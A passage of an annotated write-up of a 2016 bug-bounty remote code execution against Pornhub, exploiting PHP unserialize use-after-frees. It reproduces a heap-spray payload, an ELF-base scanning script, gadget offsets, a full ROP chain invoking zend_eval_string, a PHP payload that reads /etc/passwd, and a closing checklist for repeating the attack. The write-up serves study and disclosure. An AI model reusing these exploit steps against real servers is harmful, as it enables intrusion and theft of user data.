However, obtaining the heap address of a freed chunk is by its own right not enough to get any clues about the executable location, because the surroundings of that chunk contain no useful information. To get interesting addresses there is a relatively complicated technique which requires multiple frees and allocations of PHP structures during the unserialization process. Due to the nature of their bug, and to keep the complexity as low as possible, they used their own trick.
By using a serialised string like i:0;a:0:{}i:0;a:0:{}[...]i:0;a:0:{} as part of the overall unserialize payload, they could force unserialize to create many empty arrays and free them once it terminated. Read the fragment: i:0; is an integer key, a:0:{} is an empty array, and the pattern repeats. When initialising an array PHP consecutively allocates memory for its zval and hashtable. One default hashtable entry for empty arrays is the uninitialized_bucket symbol. A symbol is a named location in a program, and this one lives in PHP's BSS segment, the part of the binary that holds uninitialised global data.
Overall, they were able to obtain a memory fragment that looked similar to the following:
0x7ffff7fc2fe0: 0x0000000000000000 0x0000000000eae040
[...]
0x7ffff7fc3010: 0x00007ffff7fc2b40 0x0000000000000000
0x7ffff7fc3020: 0x0000000100000000 0x0000000000000000
0x7ffff7fc3030: # <--------- This address was leaked in a previous request.
0x7ffff7fc3040: 0x00007ffff7fc2f48 0x0000000000000000
0x7ffff7fc3050: 0x0000000000000000 0x0000000000000000
[...]
0x7ffff7fc30a0: 0x0000000000eae040 0x00000000006d5820
(gdb) x/xg 0x0000000000eae040
0xeae040 <uninitialized_bucket>: 0x0000000000000000
This is a memory dump, a table of addresses on the left and the values stored there on the right. Line by line:
0x7ffff7fc2fe0: 0x0000000000000000 0x0000000000eae040shows two eight-byte values at that address. The second one,0xeae040, is the interesting one.- The
[...]lines are skipped regions. - The line marked with
# <--------- This address was leaked in a previous request.is the address the team had obtained earlier, now visible again in the dump. 0x7ffff7fc30a0: 0x0000000000eae040 0x00000000006d5820shows the same0xeae040value again.(gdb) x/xg 0x0000000000eae040is a command typed into gdb, the GNU debugger, a tool for inspecting a running or recorded program.x/xgmeans "examine memory, in hexadecimal, as a giant (eight-byte) word".0xeae040 <uninitialized_bucket>: 0x0000000000000000is the answer: at that address sits the symbol nameduninitialized_bucket, and its content is zero.
The address 0xeae040 is PHP's uninitialized_bucket symbol address and directly points into PHP's BSS segment. It occurs multiple times in the neighbourhood of the lastly freed chunk. Because many empty arrays were freed, some hashtable entries remained unchanged in the heap, and that is how this specific symbol could be leaked.
Finally, they could apply a page-wise backwards scan starting from the uninitialized_bucket symbol address to find the ELF header:
$start &= 0xfffffffffffff000;
$pages += 0x1000 while leak($start - $pages, 4) !~ /^\x7fELF/;
return $start - $pages;
Line by line:
$start &= 0xfffffffffffff000;rounds the known address down to the beginning of its page. Memory is divided into pages of fixed size, and0x1000is one page; the mask clears the last three hexadecimal digits.$pages += 0x1000 while leak($start - $pages, 4) !~ /^\x7fELF/;walks backwards one page at a time.leak(address, 4)reads four bytes at that address, and!~ /^\x7fELF/means "as long as those four bytes are not the characters ELF".return $start - $pages;returns the address where the scan stopped, which is where the ELF header was found.
ELF is the standard file format for programs on Linux. Every ELF file begins with the four bytes \x7fELF, a signature, so finding that signature in memory tells you where the program starts. It is like finding the title page of a book to know where the book begins.
Step 3: Leaking the interesting parts of the binary
At this point their situation got more complicated, because they were only able to leak 1 KB of data per request. This is due to enforced header size limitations by Pornhub's web server: headers are not allowed to grow without limit, and the leak travelled inside a header. A PHP binary can take up to about 30 MB of size. Assuming one request per second, leaking the whole binary would have taken about 8 hours and 20 minutes.
As they were afraid that the exploitation process could get interrupted at any time, it was essential to act as fast and as stealthy as possible. That is why they implemented heuristics to guess and filter likely interesting sections in advance. A heuristic is a rule of thumb that gives a good enough answer quickly instead of a perfect one slowly. Nevertheless, they could resolve any structure referenced in the ELF's string and symbol table. There are other techniques like ret2dlresolve that allow omitting the whole leaking process, but they were not entirely applicable here since they require crafting more data structures and knowledge about different memory locations.
To get the address of zend_eval_string you first have to find the ELF program headers, which are at offset 32, then scan forward until you find a program header entry of type 2, PT_DYNAMIC, to get the ELF's dynamic section. This section finally contains a reference to the string and symbol table, types 5 and 6, which you can completely dump by using their size fields and grab any function whose virtual address you desire. Alternatively, you can use the hashtable, DT_HASH, to find functions more quickly, but in this scenario it does not matter much since you can quickly traverse the tables locally anyway.
In plain words: the ELF file contains a table of contents. The program headers describe the file's sections; the dynamic section lists what the program needs from shared libraries; the string and symbol tables are the index of names and addresses. Reading them is like using a book's index to jump straight to the page you need instead of reading the whole book. Besides zend_eval_string, they were interested in further symbols and in the location of their POST variables, because those were supposed to be used as a ROP stack later on.
Step 4: Leaking the address of the POST data
To get the address of the supplied POST data you can just leak some more pointers by reading from:
(*(*(php_stream_temp_data *)(sapi_globals.request_info.request_body.abstract)).innerstream).readbuf
This looks intimidating, but it is only a chain of lookups. Read it from the inside out:
sapi_globals.request_info.request_body.abstractis a field in PHP's global state that describes the incoming request body, which is where the POST data lives.(php_stream_temp_data *)says "treat that field as a stream of this type". A stream is PHP's abstraction for a source or sink of bytes, such as a file or a network connection..innerstreamfollows the stream to the one underneath it..readbufis the buffer where the bytes read so far are stored.- The two
*at the front dereference pointers: they say "go to the address stored here and read what is there".
Traversing this chain looks complicated, but you just need to dereference a few pointers with the correct offset and you will quickly find the stdin:// stream, which points to the POST data inside the heap. stdin:// is PHP's name for the standard input stream, the channel through which the request body arrives. Knowing where the POST data sits matters because the team planned to place their ROP chain there: the bytes they send in the form become the list of addresses the CPU will follow.
Step 5: Taking over the instruction pointer
Now the second part: actually taking control of the PHP process and gaining code execution. For this we need to discuss how one can modify the instruction pointer first.
They adjusted the payload to contain a fake object instead of the previously used string zval, with a pointer to a specially crafted zend_object_handlers table. This table is, in its essence, an array of function pointers, and its structure definition can be found in:
"Zend/zend_object_handlers.h"
[...]
struct _zend_object_handlers {
zend_object_add_ref_t add_ref;
[...]
};
Line by line:
"Zend/zend_object_handlers.h"is the header file where this is declared.struct _zend_object_handlers { ... };defines a table of function pointers, that is, a list of addresses of functions.zend_object_add_ref_t add_ref;is the first entry. Its type says it is a function that increments an object's reference count, the counter that tracks how many places use the object.[...]marks further entries that are not shown.
When creating such a faked zend_object_handlers table, they could simply set up add_ref however they preferred. The function behind this pointer usually handles the incrementation of the object's reference counter. Once the fake object gets passed as a parameter to setcookie, the following things happen:
#0 _zval_copy_ctor
#1 0x0000000000881d01 in parse_arg_object_to_string
[...]
#5 0x00000000008845ca in zend_parse_parameters (num_args=2, type_spec=0xd24e46 "s|slssbb")
#6 0x0000000000748ad5 in zif_setcookie
[...]
#14 0x000000000093e492 in main
This is a call stack, the list of functions currently active, innermost first. Line by line:
#0 _zval_copy_ctoris the innermost function, which copies a zval.#1 ... in parse_arg_object_to_stringis the function that converts an object argument into a string.#5 ... in zend_parse_parameters (num_args=2, type_spec=0xd24e46 "s|slssbb")is PHP's argument parser.num_args=2means two arguments were passed, andtype_specdescribes the expected types.#6 ... in zif_setcookieis the internal implementation ofsetcookie.#14 ... in mainis the entry point of the program.
According to s|sl[...], setcookie expects a string as its first and second parameter, with | marking the start of optional parameters. Hence it will try to cast the object passed as the second parameter into a string. Finally, _zval_copy_ctor will execute:
"Zend/zend_variables.c"
[...]
ZEND_API void _zval_copy_ctor_func(zval *zvalue ZEND_FILE_LINE_DC)
{
[...]
case IS_OBJECT:
{
TSRMLS_FETCH();
Z_OBJ_HT_P(zvalue)->add_ref(zvalue TSRMLS_CC);
[...]
}
Line by line:
"Zend/zend_variables.c"is the source file.ZEND_API void _zval_copy_ctor_func(zval *zvalue ZEND_FILE_LINE_DC)declares the function that copies a zval.ZEND_APImarks it as exported,voidmeans it returns nothing, and the parameter is a pointer to the zval.case IS_OBJECT:is the branch taken when the value is an object.TSRMLS_FETCH();is a macro that fetches thread-local state, a detail of how PHP handles multiple threads.Z_OBJ_HT_P(zvalue)->add_ref(zvalue TSRMLS_CC);is the key line: it looks up the object's handler table and calls itsadd_refentry, passing the object itself.
In particular, this makes a call to the provided add_ref function with the address of the object as a parameter. The corresponding assembly looks like:
<_zval_copy_ctor_func+288>: mov 0x8(%rdi),%rax
<_zval_copy_ctor_func+292>: callq *(%rax)
Assembly is the low-level instruction language of the CPU. Line by line:
<_zval_copy_ctor_func+288>: mov 0x8(%rdi),%raxmeans: take the value at the address in register RDI plus 8 bytes, and copy it into register RAX. Registers are the CPU's small, fast storage slots.<_zval_copy_ctor_func+292>: callq *(%rax)means: call the function whose address is stored at the address in RAX.
Here, RDI is the first argument to _zval_copy_ctor_func, which is also the address of the fake object zval. As previously seen in the definition of the _zvalue_value typedef, an object contains an element called obj of type zend_object_value, defined as follows:
"Zend/zend_types.h"
[...]
typedef struct _zend_object_value {
zend_object_handle handle;
const zend_object_handlers *handlers;
} zend_object_value;
Line by line:
typedef struct _zend_object_value { ... } zend_object_value;defines a structure and gives it a short name.zend_object_handle handle;is an identifier for the object.const zend_object_handlers *handlers;is a pointer to the handler table, the list of function pointers from before.
Thus, 0x8(%rdi) points to the second entry in _zend_object_value, which corresponds to the address of the first zend_object_handlers entry. As mentioned before, this entry is the custom add_ref function, and that explains why they had direct control over RAX too. In other words: the fake object says "my handler table is over there", the handler table says "my add_ref is at this address", and the CPU jumps to it. The attacker has turned a data structure into a jump.
Step 6: Leaking ROP gadgets
Now they could set up the add_ref pointer, or RAX respectively, to take over the instruction pointer. Although this gives a starting point, it does not ensure that all provided ROP gadgets are executed, because the CPU will pop the next instruction's address from the current stack once returning from the first gadget. They had no control over this stack, so it was necessary to pivot the stack into their ROP chain. Stack pivoting means changing the stack pointer, the register that says where the current stack is, so that the CPU starts reading the chain from a place the attacker controls.
This is why the next step was to copy RAX into RSP and continue ropping from there. RSP is the stack pointer register. Using a locally compiled version of PHP they scanned for good candidates for stack pivoting gadgets and found that php_stream_bucket_split contained the following piece of code:
<php_stream_bucket_split+381>: push %rax # <------------
<php_stream_bucket_split+382>: sub $0x31,%al
<php_stream_bucket_split+384>: rcrb $0x41,0x5d(%rbx)
<php_stream_bucket_split+388>: pop %rsp # <------------
<php_stream_bucket_split+389>: pop %r13
<php_stream_bucket_split+391>: pop %r14
<php_stream_bucket_split+393>: retq
Line by line:
push %raxputs the value of RAX, the address of the fake handler table, onto the current stack.sub $0x31,%alsubtracts a small number from the lowest byte of RAX. It is part of the surrounding function and does not matter for the pivot.rcrb $0x41,0x5d(%rbx)rotates a byte in memory. Again, it is incidental code that happens to sit between the useful instructions.pop %rsptakes the value just pushed and puts it into RSP, the stack pointer. This is the pivot: the stack now points at the attacker's data.pop %r13andpop %r14discard two more values from the new stack into registers the attacker does not care about.retqreturns, which means the CPU takes the next address from the new stack and jumps there.
This was used to modify RSP so that it points to the ROP chain provided in the POST data, effectively chaining all provided gadget calls. According to the x86_64 calling convention, the first two parameters of a function are RDI and RSI, so they had to find a pop %rdi and a pop %rsi gadget too. A calling convention is the agreed rule for where arguments go when one function calls another. Those gadgets are pretty common and thus easily found. However, they still had no idea whether those gadgets actually existed on Pornhub's version of PHP, so they had to verify their presence manually.
Step 7: Verifying the gadgets on the live server
The infoleak vector allowed them to quickly dump the disassembly of php_stream_bucket_split and check whether the stack pivoting gadget was available on the remote version. Disassembly is the reverse of assembly: turning machine code back into readable instructions. Fortunately, only little corrections of the gadgets' offsets were necessary. Finally, they implemented some checks to confirm that all addresses were correct:
my $pivot = leak($php_base + 0x51a71f, 13);
my $poprdi = leak($php_base + 0x2b904e, 2);
my $poprsi = leak($php_base + 0x50ee0c, 2);
die '[!] pivot gadget doesnt seem to be right', $/
unless ($pivot eq "\x50\x2c\x31\xc0\x5b\x5d\x41\x5c\x41\x5d\x41\x5e\xc3");
die '[!] poprdi gadget doesnt seem to be right', $/
unless ($poprdi eq "\x5f\xc3");
die '[!] poprsi gadget doesnt seem to be right', $/
unless ($poprsi eq "\x5e\xc3");
This is Perl, a scripting language often used for quick tooling. Line by line:
my $pivot = leak($php_base + 0x51a71f, 13);reads 13 bytes at the address$php_base + 0x51a71fand stores them in$pivot.$php_baseis the address where PHP was found in memory, and the second number is the offset of the gadget inside the binary.my $poprdi = leak($php_base + 0x2b904e, 2);reads 2 bytes at another offset.my $poprsi = leak($php_base + 0x50ee0c, 2);reads 2 bytes at a third offset.die '...', $/ unless ($pivot eq "\x50\x2c...");stops the script with an error message unless the bytes read match the expected machine code.diemeans "abort",unlessmeans "if not", andeqcompares strings.$/is Perl's end-of-line variable, used here to end the message.- The same pattern repeats for
$poprdiand$poprsi.
The expected bytes are the machine code of the gadgets. \x5f\xc3 is pop %rdi; ret, and \x5e\xc3 is pop %rsi; ret. Comparing leaked bytes against known encodings is like checking a key's teeth against a photo before trying it in the lock.
Step 8: Crafting the ROP stack
The final ROP payload that effectively executed zend_eval_string(code); exit(0); looked like the following snippet:
my $rop = "";
$rop .= pack('Q', $php_base + 0x51a71f); # pivot rsp
$rop .= pack('Q', 0xdeadbeef); # junk
$rop .= pack('Q', $php_base + 0x2b904e); # pop rdi
$rop .= pack('Q', $post_addr + length($rop) + 8 * 7); # pointing to $php_code
$rop .= pack('Q', $php_base + 0x50ee0c); # pop rsi
$rop .= pack('Q', 0); # retval_ptr
$rop .= pack('Q', $zend_eval_string); # zend_eval_string
$rop .= pack('Q', $php_base + 0x2b904e); # pop rdi
$rop .= pack('Q', 0); # exit code
$rop .= pack('Q', $exit); # exit
$rop .= $php_code . "\x00";
Line by line:
my $rop = "";starts with an empty string that will become the chain.$rop .= pack('Q', ...)appends eight bytes.pack('Q', value)turns a number into its eight-byte binary form, which is the size of an address on x86_64.$rop .=means "append to".$php_base + 0x51a71fwith the comment# pivot rspis the address of the stack pivot gadget, the first thing to run.0xdeadbeefwith the comment# junkis a placeholder value, a well-known meaningless number, consumed by one of the pivot'spopinstructions.$php_base + 0x2b904ewith the comment# pop rdiis the gadget that loads the next value into RDI.$post_addr + length($rop) + 8 * 7with the comment# pointing to $php_codecomputes where the PHP code will sit: the start of the POST data plus the current length of the chain plus seven more eight-byte slots. That is the address of the code to execute.$php_base + 0x50ee0cwith the comment# pop rsiloads the next value into RSI.0with the comment# retval_ptris the second argument, a place to store a return value, set to null.$zend_eval_stringwith the comment# zend_eval_stringis the address of the function to call.$php_base + 0x2b904ewith the comment# pop rdiloads the exit code into RDI.0with the comment# exit codeis that code.$exitwith the comment# exitis the address of the exit function.$php_code . "\x00"appends the PHP code followed by a zero byte, which marks the end of a text string in C.
Because the stack pivot contained a pop %r13 and pop %r14, the 0xdeadbeef padding inside the remaining chain was necessary to continue with setting RDI. As the first parameter to zend_eval_string, RDI is required to reference the code that is to be executed, and that code is located right after the ROP chain. It was also required to keep sending the exact same amount of data between each request so that all calculated offsets stayed correct, which was achieved by setting up different paddings wherever necessary. The next step was to finally trigger code execution by returning back into the PHP interpreter. Other techniques like return2libc are quite applicable as well, but create a few other problems that are easier dealt with when staying in PHP context.
Step 9: Returning into PHP and seeing the output
Being able to execute arbitrary PHP code is an important step, but being able to view its output is equally important, unless one wants to deal with side channels to receive responses. A side channel is an indirect way of learning something, for example by timing how long a response takes instead of reading its content. So the remaining tricky part was to somehow display the result on Pornhub's website.
Usually php-cgi forwards the generated content back to the web server so that it is displayed on the website, but wrecking the control flow that badly creates an abnormal termination of PHP, so that its result will never reach the HTTP server. To get around this problem they simply told PHP to use direct unbuffered responses that are usually used for HTTP streaming:
my $php_code = 'eval(\'
header("X-Accel-Buffering: no");
header("Content-Encoding: none");
header("Connection: close");
error_reporting(0);
echo file_get_contents("/etc/passwd");
ob_end_flush();
ob_flush();
flush();
\');';
Line by line:
my $php_code = 'eval(\'starts a Perl string that contains PHP code. The PHP code is wrapped ineval, which runs a string as PHP.header("X-Accel-Buffering: no");tells the web server in front of PHP not to buffer, that is, not to hold back the output until the end.header("Content-Encoding: none");says the response is not compressed, so nothing has to be unpacked before it can be read.header("Connection: close");asks for the connection to be closed after the response, which makes the client see the data immediately.error_reporting(0);silences warnings and notices, so they do not clutter the output.echo file_get_contents("/etc/passwd");reads the file/etc/passwdand prints it. On Linux this file lists user accounts, which makes it a classic harmless proof that a server can read files.ob_end_flush();,ob_flush();andflush();push out any output that PHP or the server is still holding in buffers. A buffer is a temporary holding area; flushing empties it.\');'closes the PHP code and the Perl string.
This finally allowed them to directly fetch every output the PHP payload generated without having to worry about the cleanup routines that are usually involved when the CGI process sends data to the web server. It further increased the stealthiness factor by minimising the number of potential errors and crashes.
To summarise, the payload contained a fake object with its add_ref function pointer pointing to the first ROP gadget. The following diagram visualises this concept:

Final version of the crafted zval object
Together with the ROP stack provided over POST data, the payload did the following things:
- Created the fake object, which was later passed as a parameter to
setcookie. - This caused a call to the provided
add_reffunction, that is, it allowed them to gain program counter control. - The ROP chain then prepared all registers and parameters as discussed.
- Next, they were able to execute arbitrary PHP code by making a call to
zend_eval_string. - Finally, they caused a clean process termination while also fetching the output from the response body.
Once running the above code they were in, and got a nice view of Pornhub's /etc/passwd file. Due to the nature of the attack they would also have been able to execute other commands or actually break out of PHP to run arbitrary syscalls. A syscall is a request from a program to the operating system kernel, for example to open a file or start a process. However, just using PHP was more convenient at this point. Finally, they dumped a few details about the underlying system and immediately wrote and submitted a report to Pornhub over HackerOne.
What the bug really was
The two vulnerabilities were use-after-frees in PHP's garbage collection algorithm, a component unrelated to unserialize. In the first bug, the interaction between garbage collection and the unserializer occurred only after unserialize had finished its job, which made it unsuitable for remote exploitation. The second, similar bug was remotely exploitable over PHP's unserialize function.
The site called unserialize on user input: the cookie parameter was unserialized from POST data and reflected via Set-Cookie headers. PIE and ASLR randomised the image base, so the binary was leaked through the same use-after-free, and non-executable memory was bypassed with ROP. The report does not state which PHP version Pornhub ran exactly, only that it was a customly compiled php5-cgi and that they assumed a PHP 5 version.
What could have been done with it
On Pornhub the team gained remote code execution and, as they state, would have been able to:
- Dump the complete database of pornhub.com including all sensitive user information.
- Track and observe user behaviour on the platform.
- Leak the complete available source code of all sites hosted on the server.
- Escalate further into the network or root the system.
A database is the organised store where a website keeps its records, such as accounts and activity. Rooting a system means gaining the highest level of control over it, the administrator account on Linux. None of these things were done, and careful attention was paid to respect the scope and limitations of the bug bounty programme. The two PHP bugs, although in a very different PHP context, could be reliably and remotely exploited in an unserialize context too. The report notes that about 10 years had passed since unserialize's first weaknesses became apparent, and that many developers still believe unserialize is only dangerous in old PHP versions or when combined with unsafe classes.
The fix
Pornhub fixed the issue hours after the report by removing calls to unserialize. Both PHP bugs were submitted to bugs.php.net and fixed in PHP's security repository. The report's guidance is to never use user input on unserialize, not to assume an up-to-date PHP version is enough, and to avoid it or use less complex serialisation methods like JSON. The report recommends avoiding unserialize or using less complex serialisation methods like JSON. The report also advises updating PHP 5 and PHP 7 versions accordingly, since the newest versions contain the fixes.
Timeline
| Date | Event |
|---|---|
| 2016-05-30 | Hacked Pornhub and submitted the issue over HackerOne. Hours later Pornhub fixed the issue by removing calls to unserialize. |
| 2016-06-14 | Received a reward of $20,000. |
| 2016-06-16 | Submitted issues to bugs.php.net. |
| 2016-06-21 | Both bugs got fixed in PHP's security repository. |
| 2016-06-27 | Received HackerOne IBB reward of $2,000 ($1,000 for each vulnerability). |
| 2016-07-22 | Pornhub resolved the issue on HackerOne. |
How to look for the same thing
If you are learning, these are the checks the team performed, in the order they performed them. Each one is a small, safe test on a target you are allowed to test.
- Look for parameters that are unserialized and reflected, for example through
Set-Cookieheaders. A positive result is a value you supplied coming back in a header, as withcookie=a:1:{i:0;i:1337;}returningSet-Cookie: 0=1337. - Send a serialised object through the same parameter, such as
a:1:{i:0;O:9:"Exception":0:{}}. A positive result is an error message or stack trace that showsunserializein the call path. - Where POP chains fail because framework classes are unknown, fuzz the unserializer itself with serialised strings, including large non-printable blobs. A positive result is unexpected behaviour or a crash that can be reduced to a proof of concept.
- On a target with a suspected use-after-free, try forcing many empty arrays with a payload like
i:0;a:0:{}i:0;a:0:{}[...]i:0;a:0:{}and leak memory around freed chunks. A positive result is a pointer into the binary's BSS segment, such as theuninitialized_bucketsymbol. - From a leaked symbol address, scan backwards page by page for the ELF header. A positive result is a leak beginning with
\x7fELF. - Verify candidate ROP gadgets remotely by leaking their bytes and comparing against the expected instruction encodings, as with
\x5f\xc3forpop %rdi; ret. - When output is lost because the process terminates abnormally, try unbuffered response headers such as
X-Accel-Buffering: no,Content-Encoding: noneandConnection: closefollowed byob_end_flush(),ob_flush()andflush(). A positive result is command output arriving in the response body.
Glossary
- ASLR (address space layout randomisation): a defence that places programs and libraries at random addresses each time they start, so attackers cannot rely on fixed addresses.
- Assembly: the low-level instruction language a CPU executes, written with short names such as
movandcallq. - Binary: the compiled program file that the computer runs.
- BSS segment: the part of a program's memory that holds global data that starts out as zero.
- Buffer: a temporary holding area for data, for example output waiting to be sent.
- Bug bounty programme: a scheme where a company pays researchers who report security holes privately.
- Call stack: the list of functions currently running, innermost first, shown in error messages and debuggers.
- CGI / php-cgi: the program that runs PHP scripts on behalf of a web server.
- Chunk: a block of memory handed out by the memory allocator.
- Cookie: a small piece of text a website asks your browser to store and send back on later requests.
- CVE: a public catalogue number for a known vulnerability.
- Dangling pointer: a pointer that still refers to memory that has already been freed.
- Disassembly: turning machine code back into readable assembly instructions.
- ELF: the standard file format for programs on Linux; it begins with the bytes
\x7fELF. - Fuzzer: a tool that feeds huge numbers of strange inputs to a program and watches for crashes or odd behaviour.
- Gadget: a short sequence of existing instructions ending in a return, reused in ROP.
- Garbage collection: automatic freeing of memory that a program no longer uses.
- gdb: the GNU debugger, a tool for inspecting a program's memory and execution.
- HackerOne: a platform where bug bounty programmes are run and reports are submitted.
- Hash table: a structure that maps keys to values, used by PHP for arrays.
- Heap: the region of memory where a program keeps data it allocates while running.
- Heuristic: a rule of thumb that gives a good enough answer quickly.
- Image base: the address at which a program is loaded into memory.
- Infoleak / memory disclosure: making a program reveal memory it should not, usually to learn addresses.
- Instruction pointer (RIP): the CPU register holding the address of the next instruction to run.
- JSON: a simple text format for data that cannot rebuild objects or run code.
- libc: the standard C library that programs use for basic functions such as running commands.
- Magic methods: methods PHP calls automatically at certain moments, such as when an object is converted to text.
- Memory corruption: a program writing to memory it should not, damaging or reinterpreting other data.
- Non-executable: marked so that the CPU refuses to run instructions stored there.
- Non-printable: bytes that do not correspond to readable characters.
- Page: a fixed-size block of memory,
0x1000bytes in this context. - PIE (position-independent code): a property that lets a program be loaded at any address.
- POP (Property-Oriented-Programming): abusing existing application classes and their magic methods through
unserialize. - POST data: the part of an HTTP request that carries form values in the request body.
- Proof of concept: a small, reliable demonstration that a bug can be triggered.
- Reflected: a value the server received coming back out in the response.
- Register: a small, fast storage slot inside the CPU, such as RAX, RDI, RSI and RSP.
- Remote code execution (RCE): making someone else's computer run commands of your choosing over the network.
- ret2dlresolve: a technique that resolves function addresses without leaking the binary, at the cost of crafting more data structures.
- Return-oriented programming (ROP): chaining existing code fragments to run a chosen sequence of operations without injecting new code.
- ROP stack: the list of addresses, often placed in user input, that the CPU follows during ROP.
- Serialisation: turning data into a text string so it can be stored or sent.
Set-Cookie: the response header a server uses to ask the browser to store a cookie.- Stack: the region of memory where a running program keeps temporary data and return addresses.
- Stack pivot: changing the stack pointer so the CPU reads its next addresses from a place the attacker controls.
- Stream: PHP's abstraction for a source or sink of bytes, such as a file or a network connection.
- Symbol: a named location in a program, such as a function or a global variable.
- Syscall: a request from a program to the operating system kernel, for example to open a file.
- Type confusion / type juggling: reading data as one type when it was written as another.
- Union: a structure where several shapes share the same memory, only one valid at a time.
- Unserialise: turning a serialised string back into the original data.
- Use-after-free: using memory after it has been given back, so it may already belong to something else.
- Vulnerability: a weakness that can be abused.
- x86_64: the family of processors used in most servers and laptops.
- zval: PHP's internal box for a single value, recording its type and where the data lives.
